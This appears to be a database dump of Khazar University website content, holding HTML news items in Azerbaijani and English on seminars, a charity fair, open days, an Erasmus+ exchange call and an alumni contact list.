margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><h3 id=\"U\">U</h3><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ulfanə Tağıyeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Təhsil fakültəsi fakültəsi Azərbaycan dili və ədəbiyyatı</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">\"Azərbaycan Dəmir Yolları\"QSC \"Fövqəladə Hallar\r\nQatarı\" MMC –də mühasib</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:Ulfane.tagiyeva@mail.ru\">Ulfane.tagiyeva@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><h3 id=\"Ü\">Ü</h3><strong>  <br></strong><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ülkər Qəhrəmanova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Təhsil fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:ulkargahramanova@gmail.com\">ulkargahramanova@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:ulkargahramanova@gmail.com\"></a>Bakalavr 2015</p><hr noshade=\"noshade\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong></strong></p><h3 id=\"V\">V</h3><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Vüsalə Şahverdizadə</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Təhsil fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Xızı şəhərində müəllimə</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:vusalashahverdizada@gmail.com\">vusalashahverdizada@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:vusalashahverdizada@gmail.com\"></a>Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><h3 id=\"Y\">Y</h3><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Yassı Nuriyeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Təhsil fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:Yassi.nuriyeva1993@mail.ru\">Yassi.nuriyeva1993@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Yasəmən Qadirova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">English Teaching</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">“Gold Language” Tədris Mərkəzi, “İs Alyans”</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:jasminkhazar@yahoo.com\">jasminkhazar@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p>'),(3439,2019,'az','Xəzər Universitetində “Strategiya  nədir?” mövzusunda seminar keçirildi.','2017-ci il aprelin 4-də Xəzər Universitetində Karyera Mərkəzi SPE layihəsi çərçivəsində “Startegiya nədir?” mövzusunda seminar keçirildi. Karyera Mərkəzi tərəfindən təşkil olunan...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il aprelin 4-də Xəzər\r\nUniversitetində Karyera Mərkəzi SPE layihəsi çərçivəsində “Startegiya nədir?”\r\nmövzusunda seminar keçirildi.Karyera Mərkəzi&nbsp;tərəfindən təşkil olunan seminar universitetin\r\n“Neftçilər” korpusunda keçirildi. Seminarda məruzəçi Halliburton şirkətinin\r\nnümayəndəsi Xatirə Mikayılova çıxış etdi. Uğurlu strategiyanın rolu və əhəmiyyətindən\r\nbəhs edən məruzəçi seminarın ardınca tələbələrə müxtəlif qrup tapşırıqları\r\nverdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Sonda\r\ntələbələrin çoxsaylı sualları cavablandırıldı.</p>'),(4091,2219,'en','Charity Fair at Khazar University','On May 25, a Charity Fair entitled ‘Let’s support Jahangir’ was held at Khazar University  in collaboration with the Public Union  for the Fight against  Leukaemia...','<p>On May 25, a Charity Fair entitled ‘Let’s\r\nsupport Jahangir’ was held at Khazar University&nbsp;\r\nin collaboration\r\nwith the Public Union&nbsp; for the Fight\r\nagainst&nbsp; Leukaemia. </p>\r\n<p>Various home baked cookies, decorative items,\r\ndrawingswere put on sale by the students. Book sales were organised. The students\r\nperformed some music at the event. </p>\r\n<p>The funds collected at the fair by the active\r\nparticipation of the university staff and the students will be spent on the\r\ntreatment of 12 year old Jahangir who is suffering from blood cancer.&nbsp;</p>'),(4092,2227,'en','THE ‘OPEN DOOR’ DAYS AT KHAZAR UNIVERSITY','On May 26 and June 16, 2017, the “Open Door” days were held at Khazar University.On May 26, the XI grade pupils of the schools number 176 and 162 from Yasamal and  Garadagh..','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On May 26 and June 16, 2017, the “Open Door” days were held at Khazar\r\nUniversity.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On May 26, the XI grade pupils of the schools number 176 and 162 from\r\nYasamal and &nbsp;Garadagh settlements, respectively,\r\n&nbsp;were gathered at the \"Marble\"\r\nhall at Khazar University.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">The Information tables representing the specialties and centres\r\n(International Relations, Career, Pscychology, Library-Information, etc.)\r\noperating at the university were placed in the hall. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">The event was opened by Dr. Elza Samadova, the dean of the School of\r\nEducation and she gave the general information to the pupils about the\r\nuniversity. The students talked to staff around the information tables and\r\nreceived detailed answers to their questions. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">The pupils watched videos about Khazar University and they were handed\r\nout the university booklets. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">They were highly impressed by the stand which illustrated the university\r\nalumni who hold high positions in state and private sectors in different\r\ncountries. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">They were also presented a concert program.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">After the event was over at Marble Hall the students got familiar\r\nwith the university. They received answers to their questions at the\r\nlaboratories of Electronics, Civil Engineering, Biology, Computer and\r\nLibrary-Information Centre. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">&nbsp; On June 16, 2017, the “Open\r\nDay” was held, in the same context,&nbsp; at\r\nKhazar University for the XI grade pupils of the “Kainat” Education Centre from\r\nLokbatan and Sahil settlement branches in Garadagh district. &nbsp;</p>'),(3440,2020,'az','AESOP Erasmus+ layihəsinin növbəti görüşü Varşava Universitetində keçirilir ','2017-ci il aprelin 4-də Varşava Universitetində Erasmus+ “Ombudsman vəzifəsi yaratmaqla tələbələrin təmsili təyin olunması” (“Advocacy Establishment for Students through...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il aprelin 4-də Varşava Universitetində\r\nErasmus+ “Ombudsman vəzifəsi yaratmaqla tələbələrin təmsili təyin olunması” (“<em>Advocacy Establishment for Students through\r\nOmbudsman Position” – AESOP</em>) layihəsi çərçivəsində layihənin regional tərəfdaşlarının\r\ngörüşü keçirildi. Görüşün əsas məqsədi Varşafa Universitetinin Ombudsman\r\nofisinin fəaliyyəti ilə tanış olmaq və onların təcrübələrini öyrənməkdən ibarətdir.\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Görüşdə Xəzər Universitetini layihə koordinatoru\r\nRima Məmmədova və Qəbul və tələbə şöbəsinin müdiri Lamiyə Namazova təmsil edirlər.\r\nGörüşün ilk günündə Rima Məmmədova Xəzər Universiteti haqqında təqdimat etdi və\r\nsuallara cavab verdi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Görüş\r\naprelin 5-i və 6-da davam edəcək.</p>'),(3025,1788,'en','Department Vice Chair Participates in Symposium in Istanbul','On 24-26 December, 2016, the International Student Symposium was held at Istanbul University in Turkey. Eynur Mehdiyev, the Vice Chair of the English Language and Literature...','<p>On 24-26 December, 2016, the International Student Symposium was held at Istanbul University in Turkey. Eynur Mehdiyev, the Vice Chair of the English Language and Literature Department, represented Khazar University at the event.&nbsp;</p><p>The main aim of the symposium was to illustrate the challenges faced by international students, discuss effective ways to help them overcome obstacles on the way to academic success and invite more students from all over the world to study in Turkey.&nbsp;</p><p>Other participants in the symposium included members of Turkish Parliament, the rector of Istanbul University, Head of the Federation of International Student Associations, researchers, university lecturers from a variety of countries, and international students studying in Turkey.</p><p>Eynur Mehdiyev informed the participants of the symposium about a variety of challenges faced by international students based on previous research and explained that the challenges related to international students’ English language performance are considered to be the most serious since they affect students’ mental and physical state while studying and living abroad. He also stated that there is a direct link between international students’ English language proficiency and academic success.&nbsp;</p><p>He made a presentation of his recent research on “Challenges faced by International Students from the Azerbaijan Republic in English Language Performance,” explaining the major difficulties experienced by Azerbaijani students while studying in universities where the medium of instruction is English. He also described the main factors that cause these challenges and suggested some key measures to be taken by the students to improve their English language proficiency before becoming international students. &nbsp;</p>'),(2611,1569,'en','Faculty Member Participates in Intellectual Property Seminar',' On November 14-15, 2016, Dr. Eldar Shahgaldiyev, Head of Khazar University Division for Graduate Studies and Research, participated in an international seminar on “Intellectual Property...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">On November 14-15, 2016, Dr. Eldar Shahgaldiyev, Head of Khazar University\r\nDivision for Graduate Studies and Research, participated in an international\r\nseminar on “Intellectual Property Policy in Universities and Research\r\nInstitutions and Research Activities” organized by The Copyright Agency of the\r\nRepublic of Azerbaijan, State Committee on Standardization Metrology and\r\nPatents and Ministry of Education of Azerbaijan in collaboration with The World\r\nIntellectual Property Organization (WIPO). </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Michal\r\nSvantner, Director of Department for Transition and Developed Countries, WIPO;\r\nEmil Pot, Director of Business Development, Legal and Intellectual Property at\r\nActoGeniX; Dr. Mohammad Alhabbal, Consultant of WIPO; Dariusz Kasprzycki,\r\nprofessor of Jagiellonian University, Poland and other representatives from\r\nstate and educational institutions made speeches in the seminar.&nbsp;</p>'),(2515,1518,'az','Xəbər saytı Bakı ilə tanışlıq üçün ipucu verir','Azvision.az xəbər saytı Bakı şəhəri ilə tanışlıq üçün “Bakının gözəlliklərini kəşf etmək üçün ipucu” (Hints to discover beauties of Baku) adlı ingiliscə qısa bir məlumat hazırlamışdır...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><strong><em>Azvision.az</em></strong>\r\nxəbər saytı Bakı şəhəri ilə tanışlıq üçün “Bakının gözəlliklərini kəşf etmək\r\nüçün ipucu” (<em>Hints to discover beauties of Baku</em>) adlı ingiliscə qısa bir\r\nməlumat hazırlamışdır. Məlumatda Bakıdakı öncül təhsil ocaqlarından biri kimi Xəzər\r\nUniversitetinin də adı çəkilir. Məlumatla yanaşı, Bakının rəmzinə çevrilmiş bir\r\nsıra məkanların fotoşəkilləri də yayınlanmışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Bu haqda daha geniş məlumatı bu link\r\nvasitəsilə əldə etmək olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://en.azvision.az/Hints-to-discover-beauties--50851-xeber.html\">http://en.azvision.az/Hints-to-discover-beauties--50851-xeber.html</a>\r\n</p>'),(2516,1519,'en','Apply to ERASMUS PLUS Exchange Program','Bachelor and Master Students: Applications are NOW being accepted for ERASMUS PLUS Exchange opportunities! Deadline is November 7…','<p><strong>Bachelor and Master Students:</strong></p>\r\n<p><strong>Applications are NOW accepted for ERASMUS PLUS\r\nExchange Opportunities!</strong></p>\r\n<p>Do you want to study a semester or a year abroad, meet\r\nnew friends and learn about other cultures? Then apply to Erasmus Plus\r\nProgramme!</p>\r\n<p><strong>WHO\r\nIS ELIGIBLE?</strong></p>\r\n<p>Bachelor\r\nand master students who:</p><ul><li>Are\r\nenrolled in a Khazar University\r\nundergraduate/graduate degree program at the time of application</li><li>Have completed at least the first year of their studies at\r\nKhazar University by February 2017</li><li>Have a cumulative GPA of 80 (bachelor) or 85 (master)</li><li>Have no disciplinary sanctions within the past 6 months</li></ul>\r\n<p><strong>HOW TO APPLY?</strong></p>\r\n<p>Fill out the application form and submit it in paper\r\nor electronically to the International Affairs Office:</p><ul><li>Paper\r\nsubmission: Room#511,&nbsp; 5<sup>th</sup> floor, Neftchiler Campus (41 Mehseti\r\nstreet)</li><li> Electronic\r\nsubmission: <a href=\"mailto:international@khazar.org\">international@khazar.org</a></li></ul>\r\n<p>(subject line: Erasmus Plus\r\nApplication – Your First Name and Last Name)</p>\r\n<p>Application Forms (electronic and paper) could be\r\nobtained from Khazar University’s website, Deans’ Offices and the International\r\nAffairs Office.</p>\r\n<p><strong>WHERE CAN I STUDY?</strong></p>\r\n<p>Khazar\r\nUniversity has Erasmus + agreements with numerous universities in countries\r\nlike Bulgaria, Italy, Poland, Slovenia, Spain, Turkey, and others.\r\nPartner-universities include:</p><ul><li>Varna\r\nUniversity of Management (Bulgaria)</li><li> University\r\nof L\'Aquila (Italy)</li><li> University\r\nof Pavia (Italy)</li><li>Sapienza\r\nUniversity of Rome (Italy)</li><li>Kozminski\r\nUniversity (Poland)</li><li>University\r\nof Ljubljana (Slovenia)</li><li>Polytechnic\r\nUniversity of Valencia (Spain)</li><li> Kadir\r\nHas University (Turkey)</li><li>Middle\r\nEast Technical University (METU) (Turkey)</li></ul>\r\n<p><strong>DEADLINE</strong></p>\r\n<p>17:00 (5:00pm), Monday, November 7, 2016 – <strong>late applications will not be accepted</strong></p><p><strong><a href=\"/files/social/foto/untitled%20folder/Bachelor%20Application%20Erasmus%20Plus%20Khazar.docx\">Bachelor Application Erasmus Plus Khazar </a> <br></strong></p><p><strong><a href=\"/files/social/foto/untitled%20folder/Master%20Application%20Erasmus%20Plus%20Khazar.docx\">Master Application Erasmus Plus Khazar </a> <br></strong></p>'),(2518,1520,'az','Xəzər Universitetinin əməkdaşı elmlər doktoru oldu','Xəzər Universiteti Təhsil fakültəsinin müəllimi Rəvan Rəhimov, Azərbaycan Milli Elmlər Akademiyasının gənc alimlərindən biri kimya üzrə elmlər doktoru dissertasiya işini uğurla...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Xəzər Universiteti Təhsil fakültəsinin\r\nmüəllimi Rəvan Rəhimov, Azərbaycan Milli Elmlər Akademiyasının gənc alimlərindən\r\nbiri kimya üzrə elmlər doktoru dissertasiya işini uğurla müdafiə etdi. O,\r\nrespublikamızın gənc alimləri sırasında özünəməxsus bilik-bacarığı, elmə töhfələri\r\nilə seçilən istedadlı gənc mütəxəssislərdəndir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Rəhimov Rəvan Abdullətif oğlu\r\n28.06.1980-cı il tarixində İsmayıllı rayonu Qalacıq kəndində anadan olub. O,\r\n1986-1997-ci illərdə İsmayıllı rayon Qalacıq kənd orta məktəbində təhsil alıb.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Gənc alimin elmə gəlişinin ilk pillələri\r\nBakı Dövlət Universiteti ilə bağlıdır. Məktəbi bitirdikdən sonra BDU-nun kimya\r\nfakültəsinə daxil olan Rəvan 2001-ci ildə bakalavr təhsilini bitirikdən sonra\r\nelə həmin ildə BDU-nun “Yüksək Molekullu Birləşmələr” kimyası ixtisası üzrə\r\nmagistraturasına qəbul olub. Elmə qarşı xüsusi istedadı ilə seçilən R.Rəhimov\r\n2003-cü ildə magistr təhsilini də fərqlənmə diplomu ilə bitirib.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Laboratoriya şəraitində bilik və\r\nbacarıqlarını artırmaq üçün o 2002-ci ildə Azərbaycan Milli Elmlər\r\nAkademiyasının Neft-Kimya Prosesləri İnstitutunun “Səthi-aktiv maddələr və\r\npreparatlar” laboratoriyasında elmi fəaliyyətə başlayıb.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2003-cü ildə Neft-Kimya Prosesləri\r\nİnstitutunun əyani aspiranturasına daxil olan R.Rəhimov 2007-ci ildə “Çoxatomlu\r\nspirtlər və propilen oksidi əsasında benzinin buxarlanmasını ləngidən reagentlərin\r\nalınması və tədqiqi” mövzusunda namizədlik dissertasiyasını müdafiə edərək\r\nkimya üzrə fəlsəfə doktoru alimlik dərəcəsini alıb.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Bununla yetinməyən gənc alim karyerasını\r\nyeni mərhələyə yüksəltmək üçün 2011-ci ildə “Neft kimyası” ixtisası ilə elmlər\r\ndoktoru mərhələsi üzrə doktoranturaya daxil olur. 24.06.2015-ci ildə elmi işini\r\ntamamlayaraq Neft-Kimya Prosesləri İnstitutunun Böyük Elmi Şurasında müzakirəyə\r\nçıxarır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Qeyd edək ki, 2011-ci və 2014-cü illərdə\r\nR.Rəhimovun tədqim etdiyi layihələr Azərbaycan Respublikası Prezident yanında\r\nElmin İnkişafı Fondu tərəfindən keçirilən Gənc Alim və mütəxəssislərin qrant\r\nmüsabiqələrinin qalibi olub.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">R.A.Rəhimov 21 oktyabr 2016-cı ildə “Təbii\r\ntriqliseridlər, (alkanol) aminlər və (C3) epoksidlər əsasında yeni səthi-aktiv\r\nmaddələrin sintezi və tədqiqi” mövzusunda dissertasiya işini müdafiə edib. Beləliklə\r\nİxtisaslaşmış Şuranın üzvləri tərəfindən kimya üzrə elmlər doktoru elmi dərəcəsinə\r\nlayiq olduğu qənaətinə gəlinib.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">R.Rəhimov eyni zamanda 130-dan çox elmi əsərin\r\nhəmmüəllifidir. Onlardan 65-dən çoxu məqalə, 3-ü isə Azərbaycan Respublikasının\r\npatentidir. Məqalələrdən 30-dan çoxu xarici ölkələrin (Almaniya, İngiltərə,\r\nUkrayna, Koreya, ABŞ, Yaponiya, Malaziya, Efiopiya, Rusiya, həmçinin dünyanın ən\r\nnüfuzlu redaksiyaları olan “Elsevier”, “Springer” və “Taylor &amp; Francis”)\r\nnüfuzlu jurnallarında, həmçinin onlardan 15-i “Thomson Reuters” Agentliyinin\r\nsiyahısına düşən jurnallardır.</p>'),(2612,1570,'az','Tədqiqat seminarı keçirildi','2016-cı il noyabrın 14-də Xəzər Universitetində tədqiqat seminarı (Research seminar/Journal Club) keçirildi. Seminarın birinci hissəsində KİM-nin Elektron informasiya xidmətləri...','<p>2016-cı il\r\nnoyabrın 14-də Xəzər Universitetində tədqiqat seminarı (<em>Research seminar/Journal Club</em>) keçirildi. Seminarın birinci hissəsində\r\nKİM-nin Elektron informasiya xidmətləri bölməsinin müdiri Səidə Orucova\r\nBiologiya departamentinin doktorantları, tədqiqatçıları və müəllimləri üçün “Elektron\r\nresurslardan axtarış üsulları” mövzusunda növbəti təlimi keçirdi. Təlim\r\nelektron kataloq, onlayn verilənlər bazası və <em>DSpace –</em>elektron arxiv və bu resurslardan istifadə qaydalarına həsr\r\nolunmuşdu. Təlimin birinci hissəsində iştirakçılar bu resurslarla tanış\r\noldular, ikinci hissəsində isə artıq əldə etdikləri məlumatlardan istifadə edərək,\r\ntapşırıqları yerinə yetirdilər.</p>\r\n<p>Daha sonra\r\nBioloji elmlər departamentinin doktorantı Pərvanə Baxşəliyeva Azərbaycanda və\r\nqonşu ölkələrdə yeni doğulmuşlar arasında fenilketonuriyanın mütasiyalarının\r\ngenetik xüsusiyyətlərinin araşdırılması haqqında bir neçə məqaləni müqayisəli təhlil\r\netdi. </p>\r\n<p>Bundan sonra\r\nBioloji elmlər departamentinin müdiri və Hüceyrə Patologiyası Tədqiqat Mərkəzinin\r\nrəhbəri Dr. İradə Xəlilova Avropanın “Cystic Fibrosis” jurnalında çapa qəbul\r\nedilən “Oksidləşmiş qlütation və sidik turşusu ağ ciyərin erkən kistik fibroz xəstəliyinin\r\nbiomarkeri kimi” <em>(“Oxidized glutathione\r\nand uric acid as biomarkers of early cystic fibrosis lung disease”</em>) məqaləsini\r\ntəqdim etdi və məqalədə təqdim edilən nəticələrin kistik fibroz xəstəliyinin\r\nerkən diaqnostikasında əhəmiyyətini qeyd etdi. Beləlilə, seminarda geniş\r\nmüzakirələr aparıldı və yekunda növbəti seminar üçün digər doktorant tələbələrin\r\niştirakı planlaşdırıldı.&nbsp;&nbsp;</p>'),(2342,1423,'en','Mugham Concert by American Performer','Jeffrey Werbock, the Chairman of American Mugham Society and well-known musician, will perform a solo concert on October 17...','<p>Jeffrey Werbock, the Chairman of American Mugham Society and\r\nwell-known musician, will perform a solo concert on October 17, 2016 at 12:00\r\nin the Marble Hall on Khazar University’s Neftchilar Campus.&nbsp; The concert\r\nis free and open to everyone.&nbsp;</p>'),(2343,1424,'en','Training Conference on “The Media and Education Dialogue” ','On October 13, 2016, a training conference on “The Media and Education Dialogue” was held in a Baku hotel by the Ministry of Education of the Azerbaijan Republic...','<p>On October 13,\r\n2016, a training conference on “The Media and Education Dialogue” was held in a\r\nBaku hotel by the Ministry of Education of the Azerbaijan Republic.\r\nRepresentatives from the Public Relations departments of all educational\r\ninstitutions in the country participated in the event, also participated in\r\ndiscussions at the conference.&nbsp;</p>'),(1513,947,'az','Xəzər Universiteti KUNİB-in təhsil sərgisində iştirak etdi','2016-cı il aprelin 16-da ParkİNN hotelində KUNİB-in (Qafqaz Universtetlər Birliyi) III Təhsil Sərgisi fəaliyyətə başladı. Sərgidə Türkiyənin 20-dən artıq universiteti, müxtəlif təhsil şirkətləri iştirak edirdi. Sərginin 1-ci günü rəsmi açılış həyata keçirildi.','<p>2016-cı il aprelin\r\n16-da ParkİNN hotelində KUNİB-in (Qafqaz Universtetlər Birliyi) III Təhsil Sərgisi\r\nfəaliyyətə başladı. Sərgidə Türkiyənin 20-dən artıq universiteti, müxtəlif təhsil\r\nşirkətləri iştirak edirdi. Sərginin 1-ci günü rəsmi açılış həyata keçirildi. Rəsmi\r\nhissəni KUNİB-in başqanı, Ardahan Universitetinin rektoru professor Ramazan\r\nKorkmaz açdı. O, sərgiyə gələn bütün universitet rəhbərlərini, qonaqları, tələbələri\r\nsalamladı və sərgi haqqında məlumat verdi. KUNİB-in fəaliyyəti\r\nhaqqında&nbsp;film nümayiş etdirildi. </p>\r\n<p>Təhsil sərgisində\r\nXəzər Universiteti də iştirak edirdi. Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı və İctimai əlaqələr\r\nvə media üzrə direktor Əlövsət Əmirbəyli sərgini ziyarət etdilər, türkiyəli\r\nuniversitet nümayəndələri ilə görüşdülər. </p>\r\n<p>Xatirə şəkilləri çəkildi.</p>'),(785,542,'en','Khazar and the World','Khazar and the World','<br><table height=\"474\"><tbody><tr><td><strong>Educational and Research Institutions</strong></td></tr><tr><td>&nbsp;</td></tr><tr><td>Khazar University has long tradition of international cooperation.</td></tr><tr><td>Since its establishment, international affiliations have become one the major goals of the university.</td></tr><tr><td>Khazar is actively engaged in collaborative projects and partnerships all over the world.</td></tr><tr><td>Its current objective is to focus on the content and quality of international cooperation in order to make internationalization a balanced element of education and research.</td></tr><tr><td>International cooperation is a prerequisite for ensuring the sustainability and quality of teaching and research at a university.</td></tr><tr><td>Cultivating a network of international relations allows Khazar University to boost the mobility of its academic staff and students.</td></tr><tr><td>&nbsp;</td></tr><tr><td><p>The internationalization processes take place in the following areas:</p></td></tr><tr><td>&nbsp;</td></tr><tr><td><ul><li><p>Bilateral cooperation agreements&nbsp;(with 46 universities in 22 countries all over the world);</p></li></ul></td></tr><tr><td><ul><li><p>Membership in three consortiums of universities: International Information Security Research Consortium; Caucasus International Consortium for Academic Cooperation (CICAC); and Alliance of Universities for Democracy;</p></li></ul></td></tr><tr><td><ul><li><p>Participation in international&nbsp;educational and research programs&nbsp;and&nbsp;projects;</p></li></ul></td></tr><tr><td><ul><li><p>Exchanges of students and academic staff;</p></li></ul></td></tr><tr><td><ul><li><p>International cooperation&nbsp;on the faculty, institute, department and individual levels.</p></li></ul></td></tr><tr><td>By participating in three different consortiums of universities, Khazar University strives to intensify different types of exchanges and to widen possibilities for internationalization of studies and research.</td></tr><tr><td>Active participation within bilateral partnership agreements and European programs has promoted wide cooperation activities within the ERASMUS programme.</td></tr><tr><td>The number of agreements with partner universities has grown anticipating more intensive exchanges of students and teachers.</td></tr><tr><td>Khazar University has become an attractive place to study both for full-time and exchange international students.</td></tr><tr><td>Many visiting professors are involved in the study process and the faculties are active in inviting more and more visiting fellows to the university.</td></tr><tr><td>&nbsp;</td></tr><tr><td><strong>Organizations</strong>&nbsp;<br></td></tr><tr><td>Khazar University has partnerships with various organizations which support the university in its attempt to reach the main goal of its&nbsp; mission.</td></tr><tr><td>Embassies of such countries as the USA, South Korea, Turkey, and Japan have supported Khzar University with provision of equipment,academic visits of foreign professors and researchers, organization of student exchange programs and searching for partners in their countries.&nbsp;<br></td></tr><tr><td>Together with embassies there are organizations which help Khazar with various equipment needs.&nbsp;<br></td></tr><tr><td>These organizations include ISEE Caucasus, which located its library at Khazar University; Middle East University, Ankara, Turkey, which provides support for the library of Khazar University as well; “Sonmes Kilichli Punto” which provided equipment for the auditorium in the Political Science Department; and Azercell, which equipped the ‘E-learning room’ at Khazar University.&nbsp;</td></tr></tbody></table>'),(787,543,'en','Videolar','Videolar','<br><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/v7461/Hamlet-Isaxanlis-Meeting-with-Educational-Workers-of-Sumgayit/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">Hamlet İsaxanlının Sumqayıt təhsil işçiləri ilə görüşü (Videolar)</a></p><div><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/v7462/Korea-Exhibition-at-Khazar-University/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">Xəzər universitetində Koreya Sərgisi (Videolar)</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/v7463/Sevil--The-Opera/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">Sevil operası (Videolar)</a></p><p 